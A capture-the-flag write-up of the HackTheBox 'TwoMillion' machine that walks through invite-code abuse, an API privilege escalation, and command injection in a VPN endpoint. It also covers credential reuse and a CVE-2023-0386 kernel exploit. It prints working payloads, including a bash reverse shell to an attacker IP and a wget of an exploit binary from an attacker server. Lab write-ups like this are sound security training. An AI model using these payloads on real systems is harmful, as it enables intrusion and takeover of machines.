Overview
TwoMillion is a nostalgic HackTheBox machine themed around the old HTB platform. The attack chain involves reverse-engineering obfuscated JavaScript to discover invite code logic, abusing a broken access control vulnerability in the API to escalate privileges to admin, and exploiting an unsanitized username parameter to gain Remote Code Execution. Privilege escalation to root leverages CVE-2023-0386, an OverlayFS/FUSE kernel vulnerability.
Difficulty: Easy | OS: Linux | Tags: Web, API Abuse, Command Injection, Kernel Exploit
1. Reconnaissance
nmap -sC -sV -A <MACHINE-IP>
Results:
- Port 22 — SSH (OpenSSH 8.9)
- Port 80 — HTTP (nginx)
The HTTP server redirects to http://2million.htb/. Add it to /etc/hosts:
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts
2. Enumeration
The site requires an invite code to register. Directory fuzzing with feroxbuster reveals:
feroxbuster -u http://2million.htb
Key findings:
-
/invite— invite code entry page -
/js/inviteapi.min.js— client-side invite logic -
/api/v1/user/loginand/api/v1/user/register— API endpoints
3. Getting the Invite Code
3.1 Deobfuscating the JavaScript
curl -X GET http://2million.htb/js/inviteapi.min.js
The script uses a common eval-based packing technique. After deobfuscation, two functions are revealed:
-
makeInviteCode()— POSTs to/api/v1/invite/how/to/generate -
verifyInviteCode(code)— POSTs to/api/v1/invite/verify
3.2 Generating the Code
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
Response:
{"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"}}
Decode the ROT13:
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate
Generate the code:
curl -X POST http://2million.htb/api/v1/invite/generate | jq
Decode the Base64 result:
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA
Use this code to register an account at /invite.
4. API Enumeration & Privilege Escalation (Web)
After logging in, enumerate the full API route list:
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq
Admin endpoints discovered:
-
GET /api/v1/admin/auth— Check if current user is admin -
PUT /api/v1/admin/settings/update— Update user settings -
POST /api/v1/admin/vpn/generate— Generate VPN for any user
4.1 Escalating to Admin
curl -X PUT http://2million.htb/api/v1/admin/settings/update \
--cookie "PHPSESSID=<your-session>" \
--header "Content-Type: application/json" \
-d '{"email": "john@email.com", "is_admin": 1}'
Response confirms admin escalation:
{"id":13,"username":"john","is_admin":1}
This is a classic Broken Access Control vulnerability — the API trusts user-supplied input to set privilege levels with no server-side authorization check.
5. Remote Code Execution via Command Injection
The admin VPN generation endpoint passes the username parameter to a system command without sanitization:
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=<your-session>" \
--header "Content-Type: application/json" \
--data '{"username": "john;whoami;"}'
# www-data
We have RCE. Set up a listener and send a reverse shell:
# Listener
pwncat-cs -lp 4444
# Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=<your-session>" \
--header "Content-Type: application/json" \
--data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"
Shell received as www-data.
6. Lateral Movement: www-data → admin
Enumerating the web root reveals a .env file with hardcoded database credentials:
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Testing password reuse over SSH:
ssh admin@2million.htb
# Password: SuperDuperPass123
User flag obtained at ~/user.txt
7. Privilege Escalation: CVE-2023-0386
7.1 Finding the Lead
Logging in via SSH shows an interesting banner:
You have mail.
The mail at /var/mail/admin contains a message warning about a serious kernel vulnerability in OverlayFS / FUSE.
7.2 Confirming Kernel Version
uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...
Kernel 5.15.70 falls within the vulnerable range for CVE-2023-0386 — an OverlayFS privilege escalation that allows creating SUID binaries through overlay filesystem manipulation.
7.3 Exploitation
Compile the PoC on the attacker machine:
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
Serve it to the target:
python3 -m http.server 8000
On the victim:
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc
root@2million:/tmp# whoami
root
Root flag obtained at /root/root.txt
8. Attack Chain Summary
| Step | Action |
|---|---|
| Reconnaissance | Nmap revealed HTTP on port 80 |
| Enumeration | feroxbuster found invite API and JS file |
| Invite Code | Deobfuscated JS → ROT13 → Base64 → valid code |
| API Abuse | Discovered admin endpoints while authenticated |
| Broken Access Control | Set is_admin: 1 via PUT request |
| Command Injection | Unsanitized username → reverse shell as www-data |
| Lateral Movement | .env credentials reused for SSH as admin |
| Privilege Escalation | CVE-2023-0386 OverlayFS exploit → root |
9. Key Vulnerabilities
1. Client-Side Invite Logic — Invite generation logic exposed in obfuscated JavaScript.
2. Broken Access Control — Users can escalate privileges by supplying is_admin: 1 in API requests.
3. Command Injection — Unsanitized username parameter passed directly to a system command.
4. Hardcoded Credentials — .env file exposes database credentials in the web root.
5. Password Reuse — Same credentials used for both the database and SSH.
6. CVE-2023-0386 — Unpatched kernel vulnerable to OverlayFS privilege escalation.
Thanks for reading! If you found this helpful, consider following for more HTB writeups.
For further actions, you may consider blocking this person and/or reporting abuse
